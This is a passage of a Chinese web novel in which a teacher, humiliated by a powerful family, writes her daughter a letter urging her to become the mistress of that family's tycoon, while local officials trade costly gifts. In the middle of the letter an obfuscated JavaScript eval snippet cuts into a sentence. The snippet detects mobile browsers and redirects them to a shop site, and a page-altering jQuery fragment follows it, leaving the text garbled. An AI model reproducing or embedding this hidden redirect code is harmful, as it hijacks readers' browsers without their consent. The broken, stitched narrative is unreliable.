她想起刚刚与周家人一起,周家生活的富足和尊贵是穷苦的流浪汉们无法想象的,也是手胼足胝的普通老百姓无法企及的。
自己籍着周家,她的生活顺畅很多。
在自己人生成长成就的过程中,她越来越明白,生活水平的变化提升,除了自己要有领先于众的思维方式,更重要的还是依赖于比自己更优秀的人的关系。
事实上,熟悉她的人,对她与周家的源缘关系羡慕不已。当然,她心里明白,自己与周家的关系,远远不止这些。
她现在想起刚才自己在宾馆里所遭受周家女人的斥责谩骂和侮辱,她在心里暗暗发誓,一定要融入尊贵的周家,哪怕是押上自己一生的赌注。
她抬头一看,发现月亮挂在人家的屋顶上,在冰冷灰白积雪的屋顶,月亮也是冰冷灰白的。她蓦地感觉一阵凄凉。
月亮圆圆的偏东。她计算出这是接近满月的一个冬夜,她现在才后悔为什么没有记住枫叶红的那天晩上,天上的月亮是什么样子。尽管是在不同的季节里。
何穗踽踽独行,在空寂寒冷的雪夜里,她沉浸于在深深的思索之中。
附近鸦雀无声,四周一片寥寂。她不知不觉来到了自家的房屋前。
她凝视着自己的房屋,怀疑这里是不是自己的家,踌躇着不敢走进去。
她在自家门前迟疑了一会儿,确定无误之后,向前几步推开自己的家门。
6. 第六章
“喛呀,回来了。等你吃饭哩。”
老赵出来迎他。今天二女儿在家,他和二女儿苏如正等着她回来吃晚饭。
“苏如。你晚上要去补课吧?”
母亲看到二女儿坐在饭桌前,问。
“我吃完饭就去。”女儿回答母亲。
“吃完饭我去送她。”老赵告诉何穗说。
餐桌上摆着女儿喜欢吃的红烧鱼。何穗回来后,老赵从厨房里把一盆热汤端上。红烧鱼和热气蒸腾的汤的香味,也飘忽而来。
“我有点累。一会儿吃。你们先吃吧。”
何穗说。下午发生的事,让她觉得心身疲惫。她有点乏力,径直进了自己的房间。
她解下围巾,把外套脱了。一路上悲愤交加,到家了才感觉头有点昏昏沉沉的痛。她用手指使劲地按掐自己的太阳穴,坐到书台旁边的沙发里,听见从门口走进来二女儿的脚步声。
“这是爸给的二百补课费。”
进来的二女儿苏如把手里捏着的钱,拿给母亲看。
正在读高三的二女儿每天晚上要补课,她告诉母亲父亲给了她二百元钱的补课费。
“怎么又要补课费?”
母亲记得上几天已经交了二百。她用手揉了揉眼睛,镇静地看着女儿问。
懦弱的二女儿不敢吱声。
“好了。拿去吧。”
母亲有点无奈也有点沮丧。
这个二女儿在父亲中年得女的宠爱下,性情懦弱胆小,缺乏主见,也很少在自己面前撒娇,而且越大越拘谨起来。
女儿疏远母亲,自然跟父亲亲近。衣服鞋子包括学习用品都是父亲给她买。作父亲时常还瞒着母亲偷偷给钱女儿,这让作母亲有点不快,幸好大女儿和儿子不在身边。
也许是自己太偏向没有父亲在身边的大女儿和后面的儿子,才薄待了中间这个二女儿。看到二女儿这副懦弱可怜的样子,有时候母亲也会在心里面自责。
她和老赵已经商量好把性情懦弱的二女儿留在身边,替她招一个入赘女婿。
女儿出去了,老赵进来,他还是穿着那身黄色的军衣,这身黄军衣穿了十几年。这个年过六旬的老男人,日渐显现老年人的老态,反应也越来越迟钝了。他有着明显的驼背,左耳朵也不太灵;要是有人在他左边说话,他就得扭头侧过右耳朵去听。确切地说,这个老男人真的已经老了。
“你没有生病吧?”老赵关心地问妻子。
“我下午上多了二节课。有点累。你让我休息会。”
何穗朝老赵轻轻地摆了摆手。心情不好时,她经常用这个借口来搪塞这个年老的丈夫。
老赵还是走过来,他把这些日子店铺里的收入放在书台上,小声地告诉妻子说:
“一千六。”
店铺积攒了一千块钱以上,老赵就会把钱拿回家,让妻子存起来。店铺每月收入可观,比夫妻俩人加在一起的工资还多。他们靠着店铺的收入,供大女儿二女儿的读大学上中学的费用,还有每月固定给住在弟弟家儿子五百元钱的生活费,除了这一切的开支,另有些结余。
在乌浟,他们一家的生活算是比较富裕,处于中上水平。这全是老赵在过去九死一生的战火中储存起来的那些资历,和现在开店的辛勤劳动所得。
“你抽烟的钱留着没?”何穗问。
“留有二百。”
“花一百几十元钱,买一件新衣服,把这身衣服换下来,送给桥洞的那些人。”
何穗带着抱怨的口气对老赵说。她递回二百给老赵,还是叮嘱他说,
“不要再给苏姝了。”
老赵没有言语,他有些不好意思望着何穗笑着,听她把话说完,就出去了。他得赶紧吃饭送女儿去补课,然后再回到他的店铺看店。
他小店的生意特别好。所有的货品名码标价,提供□□。请来何穗远房亲戚一个小伙子在店里帮工,他自己也干脆就搬到小店里住了。
老赵现在与何穗过着有名无实的夫妻生活,俩人几乎没有沟通与交流。开了店铺后他要做买卖,打理生意,都是何穗女儿送饭过去店里,有时候他也会回家一起吃顿饭。
二女儿读高三了,每天下午回家做饭再送女儿回学校补课,女儿下课接女儿回家后,他还是回店里住。
尽管老赵忙忙碌碌的总是不停,他还是抽空在自家屋子后面开垦出来几块菜地,自己种菜。
家什上所有的活儿他做得得心应手之外,开了建材五金店之后,又会了水电方面的活,和二十几年前在公社食品站一样,左邻右舍谁有什么事需要帮手的他都会乐意去帮人家做,有时连坐下来抽支烟的时间都没有。他一直是人们心目中的老好人,深得人们的喜欢。
单就老赵的人品来说,无可挑剔,但本份缺文化成了他的痛点,也让做老师的妻子何穗很苦闷凄凉。她不止一次地想过当时嫁给老赵是不是出于对他这种乐于助人的好心人的感恩,或是否是自己离婚后抱着自暴自弃的态度,还是对老赵当时所处的神志不清的境况过于同情?或是对他有过英雄式的人生产生过盲目的崇拜?
老赵和女儿在饭厅吃饭,何穗独自坐在房间沙发里,脑子里再次出现自己被小文叫去在宾馆里遭受的屈侮和路上遇见弃婴的情景,内心翻腾着难以平静的情绪,她倍感凄凉伤心。她把眼睛望向寂黑的窗外,竭力驱散心中的不快,让自己平静心来。
这时候的窗外,由于覆盖在大地上的白雪的映衬,发出金属般乌青色的光芒。她慢慢地回忆这些年来,当夜深人静时,一个人关在屋子里,自己的眼泪就会不知不觉地流下来。难道这就是古人所谓的“空山夜雨,万籁无声”吧?
现在的雪夜,只有寂寞。她不得不承认,自己已经深深地爱上了那个年轻男人。
这种寂寞绝不会是一种美好的空虚,因为它伴随着是无边的思念,无法解脱的缠绵。
原先她以为不管生活怎样对待自己,她都会非常自然地承受着,可现在她不得不承认,有时候寂寞如同诅咒的恶魔,让自己焦虑烦躁难以忍耐,甚至处于竭斯底里的状态,身边没有人可以理解,也没有人可以诉说。
但她还是忠实遵守七年前在生儿子时,自己在内心对自己许下的诺言:不让自己是因为与年轻人有了儿子,去攀结周家。
那个年轻男人赏完枫叶红之后,携妹妹一样的雪秀来家里俨如他们的新婚旅行,住了两天。对于何穗来说,眼睁睁看着年轻男人和妹妹一样的女人在自己跟前耳鬓厮磨情意绵绵,心里五味杂陈:忌妒、沮丧、疼爱、凄凉、高兴……
她知道,对于年轻男人来说,与自己一起更多的是对她这个姐姐一样的女人的垂怜和同情,无外乎就是一次的露水之欢。
他既没有留给自己的通信地址,也没有给她电话。当然,他即使给她通信地址和电话,她也不会给他写信打电话。
现在这个年轻男人,有时会出现在新媒体电视节目里,据说他的万柯集团公司,已是大叶一方的龙头民营企业。
有关这个年轻人的事情,她更多的会从他弟弟云子口中知晓一些。
一直与周家保持经常往来的是周瑞年最小的儿子周振云,大家习惯叫他“云子”。云子是她看着他长大的,何穗也是真心把他当作小弟弟,她相信云子也是把自己视为亲如姐姐。云子的妻子细秀坐月子期间,何穗一直在帮着照顾。云子细秀夫妇对何穗这个姐姐一直心存感激。
云子高中毕业后上了林业大学,毕业后在乌浟林业局干了好些年,是周家兄弟在乌浟工作时间最长的。现年三十二岁的云子在隔壁的蒙县当县长。
个性率真的云子让人喜爱,脸上永远是一副小孩子的笑脸。每年几次来乌浟都会找她坐一会,有时候在学校有时候在家。
以前老赵那只老狗在时,也喜欢逗老狗玩。
想到这个年轻男人的弟弟云子,女人现出一丝高兴的笑意。这个年轻人,既不同于他的弟弟云子,也有別于他的兄长周振林。
熟悉他的人背地里都说是得到了周家祖父的真传。
何穗知道,年轻人应该与少年受祖父的谆谆教导和饱读那些古书不无关糸,他从里面过早地领悟了人生的真谛,知晓世间万物的本质和规律;他有着洞察世事非凡的能力,让他浑身上下充满着智慧的魅力。
在异性中不管是年龄比他大的还是年龄比他小的,年轻的男人都是女性心目中的梦中情人。
从电视里黄金时间播出万柯房地产的广告,她知道现在年轻人的创业如日中天。
估计熟悉年轻男人和年轻男人身边的人,都不会想到,儒雅斯文的年轻男人会在喧嚣繁华的商海浮沉的世界中,能够独揽乾坤富甲一方。
现在的年轻男人他掌控着周喻柯三大家族的命运和未来。在周家他的威望与其父亲不相上下。
周喻柯三大家族的人,对他唯马首是瞻。
对这个年轻男人,在枫叶红的那天晚上之前,正如周家女人下午在宾馆里对她的指责,她自己一直把他当作可以亲近的弟弟,没有刻意去喜欢,就好像想起自己的婚姻也不会刻意去失望一样。
之后枫叶红时在周家老宅和乌河岸爷爷的小阁楼上,自己强求与年轻男人亲密时,甚至于哀求乞怜的抚慰,但事后她很快就会让那些烟散云散。
尽管感觉告诉她,与年轻男人一起,那是一种无比宁静的舒服,身体每一部分都自然打开了,心里的苦闷烦恼什么都没有了。
但是她知道,自己和年轻男人的故事,一开始就是结束,没有任何中间环节可言,也无需去经历任何过程。
双方都认可,予女人短暂的抚慰,可以让女人享受短暂快乐幸福的时光,体味本应属于自己的美好人生。
枫叶红的那天晩上,年轻男人当然没向自己承诺什么。现在她也无需让他为自己履行什么承诺。但年轻男人给她留下了一个儿子和自己作为他的女人绵绵无尽的思念。
她动了动身子,坐到画板前的椅子上。和往常一样,心烦意乱时,她就坐在画板前。
她拿起画笔,对着挂在自己床头年轻男人的画像,从嘴唇开始,再眉毛、眼睛,最后是整个人的一张脸的轮廓。
只要一坐到画板前,拿起画笔,心情就会平静下来。即使不太平静时,画着画着画,烦恼苦闷的情绪也自然而然消失了。
她现在坐在画板前,画这个男人的头像,只求心境的安宁。
她把画面上的这个男人看作是自己的至亲挚爱。甚至有时候觉得他是自己感受美好生活的意义所在。
她告诉他刚才在宾馆让他二嫂的喝斥谩骂,把自己遭受的侮辱和七年来独自抚养儿子的苦楚向他倾诉。这时候她感到自己和他在交流,在倾心相谈。
她边和他说话,边拿起画笔描绘年轻人的画像。她把年轻的男人画得很英俊,高高的前额,一双睿智的眼睛,目光炯炯有神。
她把男人画像的轮廓画完,长长地吁了一口气,仰靠在椅子上眯上眼睛,渐渐地,她进入深沉安谧的梦乡,得到恬静安宁的休息,享受只有大病初愈的人才享受得到的那份惬意。
她睁开眼睛,再次凝视着挂在自己床头年轻人的画像。这幅画完之后,她互相比较一番后,把自己认为画得好的一幅挂在床头,再修改另一幅没画好的。
她就这样在这种虚无的感情生活中,守着男人的画像度过一个又一个漫漫的长夜。
在过去的日子里,她有过无数次与他的画像进行交流。有时候会让自己问他,再模仿他的口气回答,她会天真地点头和表示不同的意见时撇嘴。这并非是缥缈的梦境,而是在面前的现实生活当中。
有时候她甚至想,自己这样还算不算是真正地活着。虽然她心里坚定这么一个念头,纵然发生怎样的变故,她都要感谢画像上这个年轻的男人。
“你讲得有道理,世上万物就象我家门前的这条乌河,载着我们的生命,延伸成长,它们又宁静又宽广,流经无数的岁月,穿过高山,越过平原,一路上艰难险阻,归入大海。它们就是这样,由弱到强由小到大,从涓涓的细流开始,汇聚成河,永无止境。”
她不停地和他的画像说话。听到门口老赵走进来的脚步声,她让自己继续说下去。老赵并不明白她在说什么。自己也经常一边作画一边自言自语。
“我把饭菜端进来。”
老赵进来了,对何穗说。他用他的一只右手端着一个碗,后面跟着的二女儿也端着一只碗。父女俩替母亲把饭菜放在火炉上保温。
“你画完吃饭吧。”
老赵把饭菜小心翼翼地放在火炉边沿的架子上,说。
“先放着。我画一会。你们去吧。”
何穗说,她抬头看着女儿对她说,“路上很滑,骑车慢一点。”
“我坐爸后面。”女儿告诉她。
“你应该自己骑。”
母亲对女儿严肃地说。
“让她坐后面暖和些。现在下雪天,风大。孩子读书很辛苦。”
老赵小声地说。他走过书台那边,把台灯开亮。
大女儿大学的相片放在台面上,被桔黄色的灯光照耀着,显得温暖发亮。母亲看着大女儿的照片对二女儿说:
“你姐在家这么冷的天,骑车到处跑,有次出去帽子都没戴。回来嘴巴冻得发紫了。”
老赵嘿嘿笑着。二女儿在父亲身后抿嘴窃笑,不和母亲说话。
“你们走吧。”女人对丈夫和女儿说。
老赵应了一声,带着女儿出去了。
望着老赵和女儿离去的背影,再看着自己挂在床头年轻男人的画像,女人心里想,自己作为这个老男人的妻子,把另一个年轻男子的画像挂在床头来思念,是不是算得上风流?是不是让年老的丈夫受辱?对年老丈夫的不忠,已经是既定的事实。
尽管老赵丝毫不会怀疑自己的出轨,包括儿子思塘是不是自己亲生。但毕竟他是自己的丈夫,把自己的情人的画像挂在床头、当着自己丈夫的面去思念另一个男人,会不会过份?
老赵在她面前表现出来的谦卑,让她感到可怜又可悲。有时候,她真的懊悔自己当初嫁给这样的一个老人。她在追悔莫及的情绪中,更加迷恋思念床头画像上的年轻男人。
她觉得自己的生活在虚虚实实里颠倒过来,所做的事情也让自己感到不可思议。
看到大女儿典雅的照片,她心蓦地亮了起来:现年二十一岁的女儿是优秀的,无可质疑。女儿的优秀,也得到了年轻男人的认可,年轻的男人亲口跟她说过,苏姝大学毕业应该送去国外留学。
以她这样的家庭,要想把优秀的女儿送出国留学,简直是天方夜谭的事情。唯一的途径只有依赖于年轻的男人。
“大女儿是自己的骄傲,也是自己这一生的赌注吗?”
自己已是四十几岁的妇人,年轻的男人压根儿就不会为情欲和恋爱再与自己发生关系。自己一味沉浸在过去的梦境中,无疑是在消沉和苦闷自己。而自己即使设法与年轻男人见面去强求,势必会让年轻男人鄙夷,只能适得其反。
让年轻男人另结新欢,青春美貌的女儿完全可以取代母亲。在半睡半醒的状态中,作母亲的心底里油然而起地生出这个想法,她震惊之余,觉得荒唐之极。可很快又被现实生活中所有的利益占据了自己的脑海。
“年轻的女儿会想过这些问题吗?”
她扪心自问,再一次闭上眼睛,让自己处于长时间冷静之中。
“母亲给你写这封信,让我重温自己的少女时代。当年我在你现在这个年纪,我已经生下了你。那时候女孩子过了二十岁还未结婚父母就会着急,自己也会觉得不行,怕是没有小伙子看中。要是再大一点,到了二十二三岁,还没嫁出去,那就真的是丢人了,很多的流言蜚语都会撒到女孩子和她的家人身上。
想起那时候自己的年轻,笑容灿烂无比,真是比什么都甜蜜。现在母亲已垂垂老矣,再怎么样都退不回去当年二十岁的青春岁月。
我希望你能在以后的日子里愉快地生活着,这种生活是幸福的圆满无求的,拥有和享受自己健康快乐心满意足的生活。
我们要实现这个梦想。首先,这需要拒绝与贫穷为伍。面对贫穷和苦难,我们应该有强烈的意识和敏感,贫穷和苦难提醒我们,人生应该要有所作为,并由此产生足够摆脱它们的能量。
我不愿意你以后的生活中,因为这些的原因心生悲意。我想,你比母亲优秀,到了母亲这般年纪,愁苦不应该存在,任何时候的笑意也不应该有阴影。这需要足够物质作保障和人生丰富的知识经验积累。而这些对于我们,是一无所有。
依你的亲眼所见和经历,我们母女俩所遭受的屈辱和窘境,深知处于卑贱地位的艰辛和凄苦,你应该或多或少能够和妈妈一样感同身受。希望你能够明白妈妈的良苦用心。
这需要自己跨过人生最基本的生活目标。人的一生的生命最基本的目标:具体表现在吃穿住行方面。只有跨过这个目标我们就可以去追求更高层次的生活,这就是时下一些人眼中的高品质的生活。西方人把它称为“贵族”,我们把它叫做“上流社会”。
贵族生活也好,上流社会也罢,这样的生活方式只是属于极少数人所特有的,因为它需要很丰裕富足的物质生活作基础。也就是说巨额的财富。抛开所谓的精神层面,对于大多数人来说,它是可望不可及的奢侈品。
如果我们满足于简单平淡的生活,终将有一天一旦有什么病患或祸害,疾病和灾难会带入我们一个束手无策的窘境。到时候除了痛哭流涕,别无他法。
那些口口声声说自己满足于平淡简单生活的人,绝对不会是普罗大众。至少是生活比较富裕什么都不缺的人。这些人已经具有位高权重或养尊处优的身份,他们早已跨过吃穿住行人生最基本的需求。他们这么说,更多的是想笼络人心,然后再获得更多富裕生活的利润。
所以我们应该去创造不平淡的生活,努力追求和拥有属于自己的幸福生活,唯一的就是跻身于我们认定的富贵人家或
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199090|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
者说比我们更好的上层社会。如果能跨入贵族生活或上流社会当然更好。
抓住机遇,相信自己能够改变自己的命运。
先生毕竟是个活生生的人,也是一个男人。当青春貌美优秀的女孩向他示爱,他不会不无动于衷。对于男人,我从来不相信什么坐怀不乱的事情。坐怀不乱只属于那些真正的出家人和能力非常有限的人。
先生喜欢风雅,是个念旧情的人,这一切都符合你。我愿意你和先生是浑然天成,中间不要有什么波澜起伏。就是这样固守以达到理想的生活状态为营,去争取真实的现实生活中的目标,一切以自己幸福的趋势设法和他紧紧相连。
他以跟他年龄不相称的勇气和决心,凭借他的才华和能力创造了他的辉煌世界,对于我们来说,那就是凡世间人人向往的天堂。许许多多的人花了一辈子甚至几辈子才能办到的事,他可能就是一个小时,甚至不用一个小时就轻而易举地完成,而且比众多人的努力更加臻于完美。
你不要觉得这不可思议,因为人家除了能力和才华之外,手里还掌握着权利和财富的资源。而我们除了两只手,什么也没有。即使让人同情,或者是向人倾吐满腹不平的愤懑,又能改变什么呢?生活还是同样一次又一次地来向我们折磨。
爱情与知识尽其可能,引领着我们通往幸福的天堂,然而怜悯总是把我们带回现实:有多少人间苦难就这样被疏忽了,有多少可以拯救的灾难被袖手旁观,有多少伤痛被人们冷漠以待,所谓的天道和良知,常常会在残酷的现实生活中荡然无存。这些痛苦的呼唤在我们内心深处回响:那些因为贫困被遗弃的孩子、被生活和病痛压迫和折磨的穷人、孤苦伶仃乞讨无助流浪的老人……
在人世间到底有多少不幸和痛苦?我想这些肯定不仅仅是对人类理想生活的嘲讽,它们同时也在告诉我们:虽然我们努力付出辛勤的一生,渴望能避免或减少这些不幸和痛苦,可最终还是无能为力。唯一可做的就是改变自己的命运。
我想起多年前看过的一本书《雾都孤儿》,它触及到我的灵魂。我很怕我的子孙后代,成为苦难中的孤儿。
我们不能坐以待毙。经过十几年苦苦的思索,我们一直陷入被动。当时我告诉过你,让先生认你作干女儿,先生说你太大了,先生大你十五岁。既然如此,你就作他的女人,与他一起给他生孩子,给他生多几个孩子,以后就享荣华福贵。
跻身于周家,只有占有周家的男人,而且最好是周家优秀的男人,对于我们这样的家庭,这应该是一件非常了不起的事情,更是一个很伟大的创举,它会改变我们几代人的命运。
退一万步,要是我们押错了赌注,以周家错综复杂的关系和地位,‘树倒猴猢也不会散’,就是到了那一步,也是‘打死的骆驼比马大’。我们可以不攀权,但一定要结贵。这就是我总结出来的人生。
我发现自己的女儿是很优秀的,
让我充满着欣慰,因为有了女儿我的人生是值得的。而且如果能够一辈子再来,我依然还是与你们再一起,还是来作你们的母亲。哪怕再有无数次这样的机会,我依然会欣然接受。”
……
做母亲的把信写完,连自己都不敢再回头看。她举起双手搓了一把自己的脸,把脸上僵硬的肌肉松驰下来,这时神清气爽,感觉把下午在宾馆里遭受周家女人侮辱的愤怒,和回来路上遇见弃婴的悲伤,全都释放了出来。
云子从蒙县过来,去宾馆看二嫂小文。这时,知道他回来的乌浟公安局局长周振祥驾着一台老式的吉普车过来宾馆。
他把车停在院内的停车场,下车后朝宾馆大堂走进去。大堂里面的服务员引导他来到小文住的房间。
“祥子,你带给我的吧?”
云子看着祥子从门口进来,一只手手上提着手提电话包和一个礼品盒,从沙发里站起身故意朝他笑着问。
礼品外包装是绿色的翻盖天地盒,上面印着香菇字样的牌子。
“你的不是拿了吧。这是留着给二嫂的。放了半年了。”祥子把盒子放在台面上,说,与小文打过招呼后,他坐在靠门的一张沙发上。
“我就喜欢闻香菇的香味。”
小文过去打开盒子盖看,里面装满的却是冬虫夏草,而且份量很多,足有半斤多,
“祥子,这是冬虫草吧?这么多,得花多少钱?我可受不起。”小文说。这礼品送的太重,她不敢接。
“你直接带到香港,不要让二哥知道就是。”祥子对小文说。他以周氏族亲称周振实“二哥”。
“祥子你要是做了什么过份的事情,人家给你送这样的重礼,谁也保不了你。”
小文还是一本正经地对祥子说。
这些生长在高海拔寒冷地带来之不易的冬虫草,据说经过藏人弯腰趴地长达为期一个月的采挖,卷在宽松的牛皮囊中,下山后带回家小心翼翼晾在阴凉的屋檐下,等待着时间的力量,在青藏高原特有的气候的作用下自然晾干,才能卖出极为高昂的价钱。
“好像比送给我的好一些。”
云子用手捞出几条看后,不客气地笑着说。
“当然啰。送给你的不一样,送给二嫂的又不一样,送给你爸和春子哥的更不一样。你偏偏要这么说,我就干脆跟你这么敞开说。”祥子说完自己哈哈先大笑起来。云子和二嫂小文却没有笑。
“这是哪弄来的?”
小文用手指掐着一条虫草放在鼻子上嗅了嗅,还是问。
“乃子去西藏弄的。这是我们冬塘几个一起凑的。大家都不让说。”祥子实话实说告诉小文。
“几个人啦?”小文问。
“七个。”
祥子回答。他把自己皮外套解开一排扣子,屋里暖气温度小文调得很高,让年轻力壮的祥子感觉太热。云子看到祥子腰间露出别着的枪,但他却装作视而不见没有吱声。
“摊下来也是一个不得了的数字。”
小文把盒盖盖上,再对小叔子云子说,
“你算算多少,把钱给他们。”
“振岩大哥说他大女儿华英生小孩后体虚,要一点,上次已经给了,二嫂你不要再给他了。其他我们还留着一些,我知道春子哥不稀罕,我们还是给他留有一点。这些是今年的抢手货,以后每年都会有,尽量弄多些。乃子说他的药店要大量地进货。这一盒子乃子说是八俩。”
祥子端起面前几上的茶,边喝边告诉大家说。
云子祥子乃子牛家塆的三个伙伴,乃子是乌浟县公安局长,和祥子一样,从工作开始都是凭借周家的关系一路升迁。
祥子的老婆和孩子靠周家万柯公司外派的关系也去了香港。乃子也想出国,只是周家主心人物周振春还未回应。
有一次祥子受云子的诱导,无意中先说出了乃子开药店的事,再后来也把自己与人合伙开煤矿的事也一并说了出来。现在云子对祥子乃子送这些贵重物品,也就不以为然了。
“八两冬虫草,是你们买的,这钱不是你们出吧?这可不是一笔小钱。”
小文坐到祥子旁边的沙发上看着他,还是不放心地说。
祥子嘿嘿笑着,并没作回答。
“二嫂,老家我去看看,你就不用去了吧?来来回回跑得累。”云子抬起头朝二嫂小文问。他有意岔开话题。
“我不去了。下雪天,我怕
冷。年后我和你雨秀姐一起再来,我们已经说好了。你带上相机,多拍些照片,回来我看看就好了。到时候拿给雨秀细秀春子他们看。”
小文回答小叔子云子说,顿了一会儿,象是想起了什么,再对云子说,
“你先去看看何穗,她昨天下午来看我,感冒发烧得厉害,看她现在有没有好一点。”
“何姐那么结实的身体……”云子说了一句,见二嫂小文没吱声,有点摸不着头脑,又不好发问,知道女人有时候事多一点不方便说出来。他朝祥子望过去,示意他起身一起去。
“今天一早天亮堂堂,一会儿定会出太阳。”祥子冲窗外看了一眼,说。他从沙发里站了起来。
云子祥子俩人从宾馆里出来。祥子坐在驾驶室位置上,发动车。老式的吉普车突突地响了一阵,才慢慢地驶出宾馆庭院。
“你二嫂不像雨秀姐,对我们塆里没感情。”祥子对云子笑着说。
“我二嫂没有住过我们家。雨秀姐在我们塆里来来往往好几年,也住了一年多。”
云子回答祥子。
“小文姐对她乌浟的家也很少去。一来就呆在宾馆里不愿出门。是不是跟名字有关?文文静静的。”祥子半开玩笑半认真地说。
“跟名字有关?我的名字跟我有什么关系?还有你自己呢?叫‘祥子‘,难道是你父母让你‘龙凤吉祥’?”
“我想应该是吧?取名应该图个喜庆吉祥吧?总不能取一个什么很晦气的名字让人叫吧?”
祥子说,他把车驶向一条狹窄的巷子,使劲地攥着方向盘,车子几乎擦着人家的屋墙行进。
7. 第七章
外面仍然是肆意冷冽的寒风,从道路两边的防护林上,不时掉下来被风吹落的雪沫冰粒和冻裂折断的树枝,落在车棚顶上,发出咔嚓咔嚓的声响。
快到校门口时,云子祥子看到乃子和他黑色的小轿车,停在学校门口附近的路边。
也许是太冷,乃子抽着烟,背靠着车窗门。他站在雪地里,专心重复着他晃腿跺脚的动作,抬着头一直朝这边张望。
公路两侧的白杨树一直延伸到学校门口。这些树形高大挺拔多姿的白杨树,在积雪中披着银装,光枝秃干在休眠的状态中过冬。它们经得住风雪严寒,毫不受损,待春季来临的时候纷纷展叶,又开始枝繁叶茂的旺盛生长。
祥子把车停在学校门口乃子车对面公路的另一侧。这里雪地干净没有泥泞,位置隐蔽,在学校里面的人根本看不到车。
他们的这种处世行事谦虚谨慎的态度,沿袭了周氏家族的朴实低调亲民的作风。
从牛家塆出来的官员,在周瑞年长期的言传身教的影响下,他们很注重这些细节。包括祥子特意借来的一台老式吉普车回冬塘。
云子和祥子走下车。乃子象踩高跷一样高抬着腿从对面那边的公路上?过来,路面上的积雪被过往车子碾压后泥泞不堪。
旭日东升的阳光,把乃子斜跨的身影横放在马路上。
他用抓着手提电话的那只手,朝这边挥着胳膊喊了一声“云子”,算是打过招呼,走到公路中间时,再大声告诉他们说,
“中午在芳妹酒店吃饭。我打电话让我姐去冬湖买鱼。老规矩从我们井里打水煮饭炒菜。”
到了公路这边,他走到云子跟前再兴致冲冲对云子说,“我姐给你装六桶水。”
乃子把话说得很细致,他要让云子确确实实地放心。
“好。谢谢她了。”云子说。
云子执拗地钟爱牛家塆的井水,每次去牛家塆老宅都要从井里带上几桶水回去喝。一时喝不了那么多,他就让人放在冷冻室。
祥子看着乃子崭新锃亮的车揶揄他说:
“乃子,你这车开到冬塘是去装风光还是去抖威风呀?”
“这车是借人家的,暖气热。我怕冻,我不开去牛家塆,不让他们看到就是了。你又不是不知道。再说现在冬塘这样的车多的是,更好点也常见。你开这个破烂车回去,也不怕冬塘的老乡说你故意一副寒酸相。”
乃子反唇相讥朝祥子挖苦道。
他们三人一起,见面时先互相嘲笑一番,再谈正经事。
祥子笑了一下,告诉乃子说:
“你爸妈上次让我带口信给你,帮他买件有带毛的棉大衣。”
“去年给他们买了二件。他们倒好,一件给我哥一件给我姐,俩个都带去了深圳打工。深圳冬天二十几度能穿棉大衣吗?还是带毛的。我一个月工资七百来元,要养八家,就是劈了我也不够分呀。”
乃子大吐苦水。他兄弟姐妹七个,上面是俩个姐姐和一个跛脚的哥哥,他排行第四,下面是俩个弟弟一个妹妹。
他是他们家第一个被周家安排出来工作的人。排行老二跛脚的哥四十岁上娶了一个哑女,几年前因超生也躲到深圳去打工去了。他们家整个大家庭大小几家人都依靠他过活,虽然他也是个局长,可只是这山区小县城一个局长,才刚刚上任不到两年,三家药店营业也不到一年,虽说收入还不错,但开销不小。
父母他一手负担外,六个兄弟姐妹的家免不了还得帮衬,而且得照顾均匀些,要是厚此薄彼的话,家里就会像炸开锅一般不得安宁。
所以他现在把希望寄托在周振春能够帮他妻儿弄到国外去。倘若总是呆在乌浟,自己再有多大的本事,也会让自己贫穷的大家庭拖垮。
他知道自己没有周振春那样的身份地位,强大的家庭背景,也永远不会成为富甲一方的财阀,但他让自己点石成金,钞票滚滚而来的念头却从未消停过。
学校看门人老姜认得他们,也知道云子不会开车进学校里,把旁边的小门替他们打开让他们进来。
“何老师刚刚出去了,说是去邮局寄信。”
老姜打开门后告诉云子说。他知道云子是来看何穗的。
“我们就在你传达室里坐坐,可以不?”
云子要往校门口进去时,听老姜这么一说,停下脚步来转身问他。祥子和乃子跟着后面,也站定下来。
“我是怕让你们县长局长委屈了。我去学校里找干净的杯子给你们泡茶。”
老姜恭恭敬敬地说。
“不用,我们不喝了。何姐一来就走。”
云子摆摆手,制止老姜说。但老姜给他们把凳子摆好后,还是转身往学校里走进去。
“小时候我妈打我,我就躲在牛栏里猪窑茅屋里睡,而且很多次。有次和祥子一起躲乃子家的茅屋里,他爸解完手还不知道我们躲在旁边。”
云子望着往学校里走进去的老姜,想起他刚才说是怕让“县长局长委屈”的话,他自我嘲讽地笑着说。
“乃子爸屙得那个臭呀。”祥子把手搭在乃子的肩上,笑了起来。
他们退了出来。云子走到学校门口左侧的一边围起了一道板墙的位置伫立。这里面的土地被平整,平整的土地上面铺满一层很干净洁白的积雪。明年春开学之后这里就要开一家小杂货店铺。云子听说开杂货店的人,是这学校杨校长的一个儿媳。
这城南小学的杨姓女校长也是冬塘人,与云子大姐秋华是同学,还沾有一点儿远房亲戚关系,但早两代就出了五服。祖父在世时,不许与她家往来,说是周家在早些年落难时被她们家有过避嫌,到周瑞年任职县委书记时,她们家回头殷勤上门巴结,也遭到周家报复的冷漠。
现在云子故意不睬她,也是情理之中的事。
这杨姓女校长作风泼辣,是个很厉害的女人。云子冷漠她更讨厌这么厉害的女人,所以每次来学校,如果何穗有事不在,他就会在外面等一会。何穗在的话,他去学校只跟何穗坐,对这杨姓女校长一直保持着视而不见摆明对她鄙弃的态度。
这时老姜很快端着一套茶具走了过来,招呼他们进去传达室坐。给他们沏茶时,云子也跟着进去,祥子乃子仍然站在校门口外面到处张望着。
老姜替他们沏完茶出去招呼祥子和乃子,他们俩人没有进来,他自己也就没有再进来。一会儿就不见了他的身影,不知去了附近那儿。
大概他也知道自己与周家这些人是不能坐在一起的,要是万一说错了什么话了呢?就是坐在一起,也只能是答话的份儿。要是答错了什么话,兴许就摊上了什么大事了。以他的这样卑微身份的人,是担当不起的。
